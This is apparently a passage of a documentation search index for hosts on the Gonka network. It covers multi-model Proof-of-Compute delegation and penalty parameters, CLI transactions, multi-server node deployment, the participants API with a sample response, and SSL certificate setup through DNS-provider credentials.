node-config.json examples for every supported model and GPU class.compressa-perf.PoCIntent / delegation transactions.Multi-model Proof-of-Compute (PoC) arrived in v0.2.12 and expanded again in v0.2.13.
Delegation guidance update (July 2026)
After the epoch 328–329 incident, two rules apply when choosing a delegate:
Before v0.2.12, the network operated a single enforced model: Qwen/Qwen3-235B-A22B-Instruct-2507-FP8. v0.2.12 added moonshotai/Kimi-K2.6 as the second governance-approved model and introduced per-model participation, delegation, and penalty timing. v0.2.13 recalibrated model coefficients and added MiniMaxAI/MiniMax-M2.7 as the third governance-approved model.
As of epoch 308, Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 has been retired by governance (proposal 78) and MiniMaxAI/MiniMax-M2.7 is the base model and active PoC model. poc_params.models on mainnet contains:
model_id Current mainnet status MiniMaxAI/MiniMax-M2.7 Base model, active moonshotai/Kimi-K2.6 Re-bootstrapping after the epoch 328–329 incident Per-model weight_scale_factor and penalty_start_epoch change through governance too often to list here reliably. Always read them from a live params query on the chain you use:
./inferenced query inference params --node \"$NODE\" -o json\nLook inside poc_params → models.
The goal of this design is to preserve the same security model (BFT assumptions), while allowing the network to support multiple models without requiring every host to run all of them.
Without delegation:
Delegation solves this:
New models are added through governance: each new model should have its own governance process, parameters, and activation schedule. For every approved model, a host can decide whether to run it, delegate, refuse, or do nothing.
"}, {"location": "gonka/docs/host/multi_model_poc/#scope-and-prerequisites", "title": "Scope and prerequisites", "text": "In scope: model cleanup before upgrade, per-model participation choices, delegation and intent transactions, delegation queries, PoC v2 commit diagnostics, and the chain parameters that affect your choices.
Signing: everything in this guide is shown as if you broadcast from your cold Host key (--from points at that account). (But permission can be granted to perform delegation using warm keys.)
Before you start: confirm your binary and network expose these commands:
./inferenced query inference --help\n./inferenced tx inference --help\nFurther reading (design and fees): multi-model PoC proposal README.
"}, {"location": "gonka/docs/host/multi_model_poc/#what-should-i-do-quick-decision-guide", "title": "What should I do? (quick decision guide)", "text": "Do you run the model?\n\n├─ YES\n│ └─ Do nothing → you are fully participating (no penalties)\n\n└─ NO\n ├─ Do you have another node that runs this model?\n │\n │ ├─ YES\n │ │ └─ Delegate to your own node\n │\n │ └─ NO\n │ ├─ Do you trust another host?\n │ │\n │ │ ├─ YES\n │ │ │ └─ Delegate to that host (share 5% of weight)\n │ │ │ Never a guardian node; prefer a host that is\n │ │ │ not already a top delegation target\n │ │\n │ │ └─ NO\n │ │ └─ Refuse delegation (~10% penalty)\n │\n └─ If you do nothing\n └─ Risk highest penalty (~15%)\nIn most cases:
If you are not running a given model:
max_model_voting_power_percentage is set, weight delegated above the cap is burned, and concentration makes the whole group fragile.refuse-poc-delegation for that modelOnce penalty_start_epoch is reached for a model, not participating in that model directly or via valid delegation may reduce your consensus weight, depending on governance-configured parameters.
To get a list of all governance-approved model_id values, run:
./inferenced query inference params --node \"$NODE\" -o json\npoc_params → models. What you want Command Why hosts choose it Run this model's PoC yourself (no separate on-chain \"join\"; your stack submits the PoC v2 store commit) You stay in that model's group for the epoch. Trust another host's validation votes for that model set-poc-delegation Your weight can count toward their influence on that model's PoC checks, if the rules at validation time are satisfied (see Does your delegation actually count?). Explicitly opt out of delegating for that model refuse-poc-delegation Clear \"no\" to delegation; after penalties turn on for that model, a refusal-style deduction may apply if governance configured it. (see When your on-chain choices are frozen Do nothing extra (no tx) Default behavior; may result in the highest penalty once enabled Signal plans before a new model is fully live declare-poc-intent For bootstrap reporting only; it does not replace running PoC. You still need a store commit in PoC to count as serving the model yourself. See Bootstrap pre-eligibility events."}, {"location": "gonka/docs/host/multi_model_poc/#strategy-comparison", "title": "Strategy comparison", "text": "Strategy Outcome Run model Full participation, no penalty Delegate Slight weight loss (~5%), avoids penalties Refuse ~10% weight loss Do nothing Up to ~15% weight loss if quorum forms without you One stored choice per model: for each model_id and your address, the chain keeps at most one of delegate / refuse / intent. A new transaction of any of those three replaces the previous one. Serving the model yourself (having a valid store commit for that model in the epoch) wins over those three when the chain applies rules for that epoch.
There is no universal default recommendation. Running, delegating, refusing, or doing nothing is a strategy decision per host and per model.
Current mainnet parameters (at time of writing)
refusal_penalty: ~10% of your weightno_participation_penalty: ~15% (if quorum forms without you)delegation_share: ~5% of your weight is transferred to the delegateThese values are governance-controlled and may change. Always verify using params.
Grace period
After the upgrade, penalties for newly introduced models do not apply immediately.
Hosts typically have a short window (~3 days) to:
Check penalty_start_epoch in params for exact timing.
Each approved model has its own PoC. Your consensus weight from the previous epoch still matters for who can influence PoC validation on models you do not run yourself.
Delegation means: for a given model_id, you tell the chain how that weight should behave for validation voting on that model — either you support someone else's votes, you opt out in writing, you only signal plans for a new model, or you leave the default (no extra transaction).
If you do submit a valid PoC v2 store commit for that model during the epoch (via your normal PoC stack), you are treated as running that model's PoC yourself for that epoch. That overrides whatever you had set with delegate / refuse / intent for how your participation is counted.
"}, {"location": "gonka/docs/host/multi_model_poc/#when-your-on-chain-choices-are-frozen", "title": "When your on-chain choices are frozen", "text": "The chain reads your settings at two different times — they answer different questions and apply to different things.
1. Start of PoC validation for the epoch The chain records who you delegated to and whether you refused. This applies to models already in normal operation. Intent is not read here.
2. deploy_window blocks before the next PoC starts — height next_poc_start − deploy_window The chain records delegations and intents for bootstrap / pre-eligibility signals on models not yet in the normal set. If deploy_window is zero or negative, this second capture does not run.
Whether you actually ran PoC for a model is not taken from those stored rows: the chain uses your PoC v2 store commits for that model during the epoch.
"}, {"location": "gonka/docs/host/multi_model_poc/#does-your-delegation-actually-count", "title": "Does your delegation actually count?", "text": "set-poc-delegation can be sent anytime, but it only helps the delegate if at validation start all of the following hold:
model_id in that epoch (has the corresponding work committed the usual way), andOtherwise your delegation is ignored for that model for that epoch (same practical outcome as if you had not delegated), and penalty rules may still apply once they are enabled.
If your delegate goes down, you may be penalized
If the delegate fails to submit a PoC store commit for that model in the epoch, your delegation is ignored and you are treated as not participating for that model — the no_participation_penalty may apply to you even though you delegated in good faith. Re-check your delegate's participation regularly (for example, after any network incident) and switch delegates if they became unreliable.
When a delegation does count, your full weight is counted toward that host's influence on validating that model's PoC. Separately, delegation_share in params can move part of your original consensus weight to them when weights are finalized — that is a different knob from the refusal / no-participation percentages; read params for the exact values.
If you plan hardware for a new model, watch chain events of type bootstrap_model_preeligibility. Typical attributes include: model_id, pre_eligible, meets_weight_threshold, meets_v_min, meets_reachability, intent_host_count, intent_weight, reachable_voting_power, total_network_weight, snapshot_height.
Use them to decide when to declare intent and when you must have commits live:
pre_eligible = false and you plan to serve this model: check meets_weight_threshold and meets_v_min. If both are false, you may not have enough stake.meets_reachability is false, verify your node is reachable before the next capture height.Run this once in the same shell before using the commands below. Adjust values, then run the block. All examples below use NODE, CHAIN_ID, KEY (your cold key name in the keyring), and optional KEYRING_BACKEND.
export NODE=\"<PUBLIC_URL>\"\nexport CHAIN_ID=\"gonka-mainnet\"\nexport KEY=\"gonka-account-key\" # cold key; see note at top on warm-key grants\nexport KEYRING_BACKEND=\"file\"\n\nexport MY_ADDR=\"$(./inferenced keys show \"$KEY\" -a --keyring-backend \"$KEYRING_BACKEND\" 2>/dev/null || true)\"\n# If keys show fails, set your address explicitly:\n# MY_ADDR=\"gonka1...\"\nEach tx inference … example below repeats the same --from / --node / --chain-id / --keyring-backend / gas flags so you can copy one block without merging lines from elsewhere. If your keyring is already the default, you may omit --keyring-backend.
Optional — fewer repeated flags: set default RPC node and chain id in the CLI client config for this machine (Cosmos-style client.toml; use ./inferenced config --help). After that you can omit --node and --chain-id from the transaction lines below.
./inferenced query inference params --node \"$NODE\" -o json\n./inferenced query inference get-current-epoch --node \"$NODE\" -o json\nAll models:
./inferenced query inference poc-delegation \"$MY_ADDR\" --node \"$NODE\" -o json\nOne model (second argument optional):
./inferenced query inference poc-delegation \"$MY_ADDR\" \"$MODEL\" --node \"$NODE\" -o json\nThe response lists delegations, refusals, and intents separately; for a given model you will have at most one of the three.
"}, {"location": "gonka/docs/host/multi_model_poc/#transactions", "title": "Transactions", "text": "Delegate (the delegate need not already be running that model's PoC when you send the tx):
MODEL=\"your-model-id\"\nDELEGATEE=\"gonka1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"$DELEGATEE\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nClear delegation:
MODEL=\"your-model-id\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nRefuse:
MODEL=\"your-model-id\"\n\n./inferenced tx inference refuse-poc-delegation \"$MODEL\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nBootstrap intent:
MODEL=\"your-model-id\"\n\n./inferenced tx inference declare-poc-intent \"$MODEL\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nPenalties and the delegation share apply to consensus weight when the next epoch's active set is built, after PoC outcomes are known. Everything below comes from ./inferenced query inference params (JSON fields vary slightly by version; search inside the output for these names).
params Field Meaning for hosts Per model in poc_params → models penalty_start_epoch Before this epoch index, penalty rules for that model do not apply. Track per model_id. Per model in poc_params → models weight_scale_factor Scales that model's PoC weight into consensus weight. delegation_params refusal_penalty Fraction of your original consensus weight removed when you used refuse-poc-delegation after penalty_start_epoch. delegation_params no_participation_penalty Fraction removed when you did not refuse, did not have a valid delegation, and did not serve the model yourself — after penalties apply. delegation_params delegation_share Fraction of the delegator's original weight reallocated to the delegate when delegation is valid. delegation_params deploy_window Blocks before the next PoC start at which the bootstrap snapshot height is chosen (next_poc_start − deploy_window). Advanced eligibility parameters (most hosts can skip): w_threshold, v_min, cap_factor, initial_model_id, max_model_voting_power_percentage — eligibility thresholds, caps, and per-model voting concentration limits. Zero on the last usually means \"no cap\".
If refusal_penalty, no_participation_penalty, and delegation_share are all zero, the chain does not apply those deductions or transfers (common right after upgrade until governance enables them).
params lists every model you care about under poc_params.penalty_start_epoch.refusal_penalty, no_participation_penalty, and delegation_share are non-zero.poc-delegation, and confirm the delegate actually committed PoC for that model in the current epoch.bootstrap_model_preeligibility events and send declare-poc-intent before the capture height if you plan to participate.In this setup, you deploy the network node and one or more inference (ML) nodes across multiple servers. To join the network, you need to deploy two services:
The guide provides instructions for deploying both services on the same machine as well as on different machines. Services are deployed as Docker containers.
"}, {"location": "gonka/docs/host/multiple-nodes/#prerequisites", "title": "Prerequisites", "text": "For the Network node, the approximate hardware requirements are:
The final requirements will depend on the number of MLNodes connected and their total throughput.
Before proceeding, complete the Quickstart guide through step 3.3, which includes:
This section describes how to deploy a distributed setup with a network node and multiple inference nodes.
Note
Before starting the network node, make sure the DAPI_API__POC_CALLBACK_URL variable in your config.env file on the network server is set correctly. This value defines the callback URL for the API container, it is passed to all MLNodes so they know where to send Proof-of-Compute (PoC) nonces.
For multi-node setups, this URL must be reachable from all MLNodes in your cluster. Do not leave the default internal Docker address (http://api:9100), since it will not be accessible from external ML nodes. Instead, replace it with the private network address (or DNS name) of your network node server, for example: DAPI_API__POC_CALLBACK_URL=http://<NETWORK_NODE_PRIVATE_IP>:9100. If the network node’s API container has already been started with an incorrect value, update the config.env and restart the api container.
Make sure port 9100 is open and reachable from all inference (ML) nodes in your network.
Make sure you have completed the Quickstart guide through step 3.3 (key management and Host registration) beforehand.
This server becomes the main entry point for external participants. It must be exposed to the public internet (static IP or domain recommended). High network reliability and security are essential. Host this on a stable, high-bandwidth server with robust security.
"}, {"location": "gonka/docs/host/multiple-nodes/#single-machine-deployment-network-node-inference-node", "title": "Single-Machine Deployment: Network Node + Inference Node", "text": "If your network node server has GPU(s) and you want to run both the network node and an inference node on the same machine, execute the following commands in the gonka/deploy/join directory:
source config.env && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml logs -f\nThis will start one network node and one inference node on the same machine.
"}, {"location": "gonka/docs/host/multiple-nodes/#separate-deployment-network-node-only", "title": "Separate Deployment: Network Node Only", "text": "If your network node server has no GPU and you want your server to run only the network node (without inference node), execute the following in the gonka/deploy/join directory:
source config.env && \\ \ndocker compose -f docker-compose.yml up -d && \\\ndocker compose -f docker-compose.yml logs -f \nThe network node will start participating in the upcoming Proof of Computation (PoC) once it becomes active. Its weight will be updated based on the work produced by connected inference nodes. If no inference nodes are connected, the node will not participate in the PoC or appear in the list. After the following PoC, the network node will appear in the list of active Hosts (please allow 1–3 hours for the changes to take effect):
http://node2.gonka.ai:8000/v1/epochs/current/participants\nIf you add more servers with inference nodes (following the instructions below), the updated weight will be reflected in the list of active Hosts after the next PoC.
"}, {"location": "gonka/docs/host/multiple-nodes/#running-the-inference-node-on-a-separate-server", "title": "Running the inference node on a separate server", "text": "On the other servers, we run only the inference node, and for that, follow the instructions below.
"}, {"location": "gonka/docs/host/multiple-nodes/#step-1-configure-the-inference-node", "title": "Step 1. Configure the Inference Node", "text": "1.1. Download Deployment Files
Clone the repository with the base deploy scripts:
git clone https://github.com/gonka-ai/gonka.git -b main\n1.2. (Optional) Pre-download Model Weights to Hugging Face Cache (HF_HOME)
Inference nodes download model weights from Hugging Face. To ensure the model weights are ready for inference, we recommend downloading them before deployment. Choose one of the following options.
export HF_HOME=/path/to/your/hf-cache\nCreate a writable directory (e.g. ~/hf-cache) and pre-load models if desired. Right now, the network supports MiniMaxAI/MiniMax-M2.7 as the active PoC model.
huggingface-cli download MiniMaxAI/MiniMax-M2.7\n1.3. Ports open for network node connections
5050 - Inference requests (mapped to 5000 of MLNode)\n8080 - Management API Port (mapped to 8080 of MLNode)\nImportant
These ports must not be exposed to the public internet (they should be accessible only within the network node environment).
"}, {"location": "gonka/docs/host/multiple-nodes/#step-2-launch-the-inference-node", "title": "Step 2. Launch the Inference Node", "text": "On the inference node's server, go to the cd gonka/deploy/join directory and execute
docker compose -f docker-compose.mlnode.yml up -d && docker compose -f docker-compose.mlnode.yml logs -f\nThis will deploy the inference node and start handling inference and Proof of Compute (PoC) tasks as soon as they are registered with your network node (instructions below).
"}, {"location": "gonka/docs/host/multiple-nodes/#adding-registering-inference-nodes-with-the-network-node", "title": "Adding (Registering) Inference Nodes with the Network Node", "text": "You must register each inference node with the network node to make it operational. The recommended method is via the Admin API for dynamic management, which is accessible from the terminal of your network node server.
curl -X POST http://localhost:9200/admin/v1/nodes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"<unique_id>\",\n \"host\": \"<your_inference_node_static_ip>\",\n \"inference_port\": <inference_port>,\n \"poc_port\": <poc_port>,\n \"max_concurrent\": <max_concurrent>,\n \"models\": {\n \"<model_name>\": {\n \"args\": [\n <model_args>\n ]\n }\n }\n }'\nParameter descriptions
Parameter Description Examplesid A unique identifier for your inference node. node1 host The static IP of your inference node or the Docker container name if running in the same Docker network. http://<mlnode_ip> inference_port The port where the inference node accepts inference and training tasks. 5050 (port mapped to 5000 of MLNode's nginx) poc_port The port which is used for MLNode management. 8080 (port mapped to 8080 of MLNode's nginx) max_concurrent The maximum number of concurrent inference requests this node can handle. 500 models A supported models that the inference node can process. (see below) model_name The name of the model. MiniMaxAI/MiniMax-M2.7 model_args vLLM arguments for the inference of the model. \"--tensor-parallel-size\",\"4\" Right now, the network supports MiniMaxAI/MiniMax-M2.7 as the active PoC model.
To ensure correct setup and optimal performance, use the arguments that best match your model and GPU layout.
Model and GPU layout vLLM argumentsMiniMaxAI/MiniMax-M2.7 on 4xH100 \"--tensor-parallel-size\",\"4\" For detailed guidance on selecting optimal deployment configurations and vLLM parameters tailored to your GPU hardware, refer to the Benchmark to Choose Optimal Deployment Config for LLMs guide.
If the node is successfully added, the response will return the configuration of the newly added inference node.
"}, {"location": "gonka/docs/host/multiple-nodes/#retrieving-all-inference-nodes", "title": "Retrieving All Inference Nodes", "text": "To get a list of all registered inference nodes in your network node, use:
curl -X GET http://localhost:9200/admin/v1/nodes\nBeing connected to your network node server, use the following Admin API request to remove an inference node dynamically without restarting:
curl -X DELETE \"http://localhost:9200/admin/v1/nodes/{id}\" -H \"Content-Type: application/json\"\nid is the identifier of the inference node as specified in the request when registering the inference node. If successful, the response will be true."}, {"location": "gonka/docs/host/network-node-api/", "title": "Network Node API", "text": ""}, {"location": "gonka/docs/host/network-node-api/#network-node-api", "title": "Network Node API", "text": "This section describes the Network Node API, specifically the /v1/epochs/{epoch_id}/participants endpoint. This endpoint is used to retrieve:
Current Epoch Data
curl -X GET http://<your_api_node_url:public_port>/v1/epochs/current/participants\nSpecific Epoch Data
curl -X GET http://<your_api_node_url:public_port>/v1/epochs/<epoch_id>/participants\n{\n \"active_participants\": {\n \"participants\": [\n {\n \"index\": \"gonka17tvsmufmewvwfy3dfxz7l20jmlhhn6ekfcun7r\",\n \"validator_key\": \"ljvRT9VScsxQKKX4S91yJRNppbz691ceD4sBYBRrAys=\",\n \"weight\": 10,\n \"inference_url\": \"http://genesis-api:8080\",\n \"models\": [\n \"unsloth/llama-3-8b-Instruct\"\n ],\n \"seed\": {\n \"participant\": \"gonka17tvsmufmewvwfy3dfxz7l20jmlhhn6ekfcun7r\",\n \"block_height\": 9,\n \"signature\": \"6a2523cd5898539ef8ea765c7ab78f0de5dbcbb32a34b9706baa7294589f94d657422f573e7a4325d4ba8661466171c9621a51544478eb69f90a49b5271c1400\"\n }\n }\n ],\n \"epoch_group_id\": 1,\n \"poc_start_block_height\": 9,\n \"created_at_block_height\": 15\n },\n \"addresses\": [\n \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\"\n ],\n \"active_participants_bytes\": \"0acc020a2d636f736d6f7331377476736d75666d657776776679336466787a376c32306a6d6c68686e36656b6663756e3772122c6c6a765254395653637378514b4b5834533931794a524e7070627a363931636544347342594252724179733d180a2217687474703a2f2f67656e657369732d6170693a383038302a1b756e736c6f74682f6c6c616d612d332d38622d496e73747275637432b4010a2d636f736d6f7331377476736d75666d657776776679336466787a376c32306a6d6c68686e36656b6663756e377210091a8001366132353233636435383938353339656638656137363563376162373866306465356462636262333261333462393730366261613732393435383966393464363537343232663537336537613433323564346261383636313436363137316339363231613531353434343738656236396639306134396235323731633134303010011809280f\",\n \"proof_ops\": {\n \"ops\": [\n {\n \"type\": \"ics23:iavl\",\n \"key\": \"QWN0aXZlUGFydGljaXBhbnRzLzEvdmFsdWUv\",\n \"data\": \"CuMEChtBY3RpdmVQYXJ0aWNpcGFudHMvMS92YWx1ZS8S1QIKzAIKLWNvc21vczE3dHZzbXVmbWV3dndmeTNkZnh6N2wyMGptbGhobjZla2ZjdW43chIsbGp2UlQ5VlNjc3hRS0tYNFM5MXlKUk5wcGJ6NjkxY2VENHNCWUJSckF5cz0YCiIXaHR0cDovL2dlbmVzaXMtYXBpOjgwODAqG3Vuc2xvdGgvbGxhbWEtMy04Yi1JbnN0cnVjdDK0AQotY29zbW9zMTd0dnNtdWZtZXd2d2Z5M2RmeHo3bDIwam1saGhuNmVrZmN1bjdyEAkagAE2YTI1MjNjZDU4OTg1MzllZjhlYTc2NWM3YWI3OGYwZGU1ZGJjYmIzMmEzNGI5NzA2YmFhNzI5NDU4OWY5NGQ2NTc0MjJmNTczZTdhNDMyNWQ0YmE4NjYxNDY2MTcxYzk2MjFhNTE1NDQ0NzhlYjY5ZjkwYTQ5YjUyNzFjMTQwMBABGAkoDxoLCAEYASABKgMAAh4iKwgBEgQCBB4gGiEgwUNlynn4mzi4AC3u2itEeV3Y7Qe2vynK7Qqup2tmVgAiKwgBEgQECB4gGiEgiNVJ1Gl2VO0MezltgAUQs72vlGp3j3OWKH1OAD9MPHoiKwgBEgQGDB4gGiEgLyrwJqJ3jIIDD+gd8EO/3G8lNiCgkcpBn9IkqETCGbYiKwgBEgQIEh4gGiEgktjdW4rq4PGPx+En8SQnX7eIl6J5Qf4I9NEMMCokPa4iKwgBEgQKKB4gGiEg4Lo2jUStQ7FHrFhkm+Tk5df+rBHeeA6Ey5npZw+DEIk=\"\n },\n {\n \"type\": \"ics23:simple\",\n \"key\": \"aW5mZXJlbmNl\",\n \"data\": \"CtoBCglpbmZlcmVuY2USIAeInJI1DSn8uBZz5z28V3JeXiQ7kPFDaCWqZeKu/1+ZGgkIARgBIAEqAQAiJwgBEgEBGiCkF0H31nsqBz1NVD3bG1444WqkoI982R1FXozDhDZvTyInCAESAQEaIJXhyLpHqjGG8RNH1IDYExUpZFPyxZvc7HLLmYEKxBeAIicIARIBARogVb5ZN4+aA5PlSPOrcbIeH/EuZ+nmQpJSod9LdNOb3WkiJQgBEiEBecxJ03qGQtj8qBYv4F3GTI9KLCix0WU+5PQNmJxXm7o=\"\n }\n ]\n },\n \"validators\": [\n {\n \"address\": \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\",\n \"pub_key\": \"ljvRT9VScsxQKKX4S91yJRNppbz691ceD4sBYBRrAys=\",\n \"voting_power\": 1000000,\n \"proposer_priority\": 0\n }\n ],\n \"block\": [\n {\n \"header\": {\n \"version\": { \"block\": 11 },\n \"chain_id\": \"gonka-mainnet\",\n \"height\": 15,\n \"time\": \"2025-04-02T21:13:34.100375646Z\",\n \"last_block_id\": {\n \"hash\": \"306D1EBC3628F0571D5F772C85B554A8CD30C298648B4E325EC82945E7D20841\",\n \"parts\": {\n \"total\": 1,\n \"hash\": \"055C7DD9132B5133B7D422D423ED775BC4FF5E7E3C7447C4539B5573D67686DD\"\n }\n },\n \"last_commit_hash\": \"04584765750C36899099C65023702382D718F5CF5E44581F675EAEDF4F15DE9E\",\n \"data_hash\": \"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855\",\n \"validators_hash\": \"BC21E09900AE1CBD50444061E0B1853550A509A3B8CE3B2BF5DA0C9DCC0351B0\",\n \"next_validators_hash\": \"BC21E09900AE1CBD50444061E0B1853550A509A3B8CE3B2BF5DA0C9DCC0351B0\",\n \"consensus_hash\": \"048091BC7DDC283F77BFBF91D73C44DA58C3DF8A9CBC867405D8B7F3DAADA22F\",\n \"app_hash\": \"6DAF9E22F6A30D441F5C40BF37ABD8A3B11A7582F5023413639C3015C6E47713\",\n \"last_results_hash\": \"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855\",\n \"evidence_hash\": \"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855\",\n \"proposer_address\": \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\"\n },\n \"data\": { \"txs\": null },\n \"evidence\": { \"evidence\": null },\n \"last_commit\": {\n \"height\": 14,\n \"round\": 0,\n \"block_id\": {\n \"hash\": \"306D1EBC3628F0571D5F772C85B554A8CD30C298648B4E325EC82945E7D20841\",\n \"parts\": {\n \"total\": 1,\n \"hash\": \"055C7DD9132B5133B7D422D423ED775BC4FF5E7E3C7447C4539B5573D67686DD\"\n }\n },\n \"signatures\": [\n {\n \"block_id_flag\": 2,\n \"validator_address\": \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\",\n \"timestamp\": \"2025-04-02T21:13:34.100375646Z\",\n \"signature\": \"twGyWJvYr+jV1Hhfjio7p7lkDbg2+OrpUqI6Nmb3xHta0hKQyoky2S4U755x2YewLdG8t/1TlaqzurljQoXmDg==\"\n }\n ]\n }\n }\n ]\n}\nactive_participants
participants: List of active participants, including:
index: gonka addressvalidator_key: Public key (Base64)weight: Voting weightinference_url: Service endpointmodels: List of supported modelsseed: Signature seed with metadataaddresses: List of participant addresses (in uppercase hex format)
active_participants_bytes: Raw byte array (hex-encoded) that encodes the Hosts' data — suitable for Merkle proof verification or state synchronization.
proof_ops: List of ICS23-compatible proof operations for verification
validators: Validator set at the time of the epoch:
address: Validator addresspub_key: Public key (Base64)voting_power: Current voting powerproposer_priority: Consensus proposer priorityblock: List of blocks surrounding the epoch event
Need help? Find answers on FAQ page, or join Discord server for assistance with general inquiries, technical issues, or security concerns.
"}, {"location": "gonka/docs/host/optional-ssl-setup/", "title": "[Optional] SSL Setup", "text": ""}, {"location": "gonka/docs/host/optional-ssl-setup/#optional-ssl-setup", "title": "[Optional] SSL Setup", "text": ""}, {"location": "gonka/docs/host/optional-ssl-setup/#use-cases", "title": "Use cases", "text": "Hosts who want HTTPS for the public API, chain endpoints (RPC/REST/gRPC), and/or the Explorer.
"}, {"location": "gonka/docs/host/optional-ssl-setup/#choose-your-mode", "title": "Choose your mode", "text": "NGINX_MODE Number of exposed ports Description http single (8000 by default) HTTP only (no TLS) https single (8443 by default) HTTPS only; requires certificates both two (8000/8443 by default) Serve both HTTP and HTTPS (recommended during migration) Tip: Start with both during cutover; later switch to https to force TLS.
docker compose using the ssl profile.proxy (nginx) and proxy-ssl (ACME issuer). proxy asks proxy-ssl for a cert for CERT_ISSUER_DOMAIN (and allowed subdomains, if configured). proxy-ssl performs a DNS‑01 challenge with your DNS provider using the API keys you supply, obtains a certificate from Let’s Encrypt, and stores it in the shared mount (./secrets/nginx-ssl). proxy picks up the issued certs and serves HTTPS. Renewals repeat automatically.proxy runs.proxy and proxy-ssl (via the ssl profile).mkdir -p deploy/join/secrets/nginx-ssl deploy/join/secrets/certbot\ndeploy/join/config.env", "text": "Minimal example for HTTPS on 8443:
# Core proxy settings\nNGINX_MODE=both\nAPI_PORT=8000 # HTTP backend (used if you also keep 80 open)\nAPI_SSL_PORT=8443 # HTTPS backend\n\n# Automatic certificate issuance via proxy-ssl\nCERT_ISSUER_DOMAIN=your.domain\nCERT_ISSUER_ALLOWED_SUBDOMAINS=api,explorer,rpc # optional; comma-separated\nCERT_ISSUER_JWT_SECRET=change-me # any strong shared secret\n\n# ACME / Let's Encrypt account\nACME_ACCOUNT_EMAIL=you@example.com\nACME_DNS_PROVIDER=cloudflare # one of: route53|cloudflare|gcloud|azure|digitalocean|hetzner\n\n# DNS provider credential - see instructions how to abtain below\nUse the credential(s) that match your provider. Click a provider to jump to the how‑to below.
Provider Required env CloudflareCF_DNS_API_TOKEN AWS Route53 AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION Google Cloud DNS GCE_PROJECT, GCE_SERVICE_ACCOUNT_JSON_B64 Azure DNS AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_SUBSCRIPTION_ID DigitalOcean DNS DO_AUTH_TOKEN Hetzner DNS HETZNER_API_KEY Cloudflare Cloudflare
1) Open the Cloudflare Dashboard.
2) Go to Profile → API Tokens.
3) Click Create Token.
4) Use Edit zone DNS template or set permissions: Zone:Read and DNS:Edit.
5) Limit the token to your DNS zone and create it.
6) Copy the token and set CF_DNS_API_TOKEN.
AWS Route53AWS Route53
Option A — AWS CLI
HOSTED_ZONE_ID=\"Z123EXAMPLE\"\ncat > route53-acme.json <<'JSON'\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"route53:ChangeResourceRecordSets\"],\n \"Resource\": \"arn:aws:route53:::hostedzone/${HOSTED_ZONE_ID}\"\n },\n {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"route53:ListHostedZones\",\n \"route53:ListHostedZonesByName\",\n \"route53:ListResourceRecordSets\",\n \"route53:GetChange\"\n ],\n \"Resource\": \"*\"\n }\n]\n}\nJSON\n\naws iam create-policy \\\n--policy-name acme-dns-route53-${HOSTED_ZONE_ID} \\\n--policy-document file://route53-acme.json | jq -r .Policy.Arn\n\nUSER_NAME=\"acme-dns\"\nPOLICY_ARN=$(aws iam list-policies --query \"Policies[?PolicyName=='acme-dns-route53-${HOSTED_ZONE_ID}'].Arn\" -o tsv)\naws iam create-user --user-name \"$USER_NAME\" >/dev/null || true\naws iam attach-user-policy --user-name \"$USER_NAME\" --policy-arn \"$POLICY_ARN\"\nCREDS=$(aws iam create-access-key --user-name \"$USER_NAME\")\nAWS_ACCESS_KEY_ID=$(echo \"$CREDS\" | jq -r .AccessKey.AccessKeyId)\nAWS_SECRET_ACCESS_KEY=$(echo \"$CREDS\" | jq -r .AccessKey.SecretAccessKey)\n\necho \"AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID\"\necho \"AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY\"\necho \"AWS_REGION=<your-aws-region>\"\nOption B — Console
1) Create an IAM policy limited to your hosted zone (ChangeResourceRecordSets and list permissions).
2) Create an IAM user with programmatic access.
3) Attach the policy to the user.
4) Create an access key pair and set AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_REGION.
Google Cloud DNSGoogle Cloud DNS
Option A — gcloud CLI:
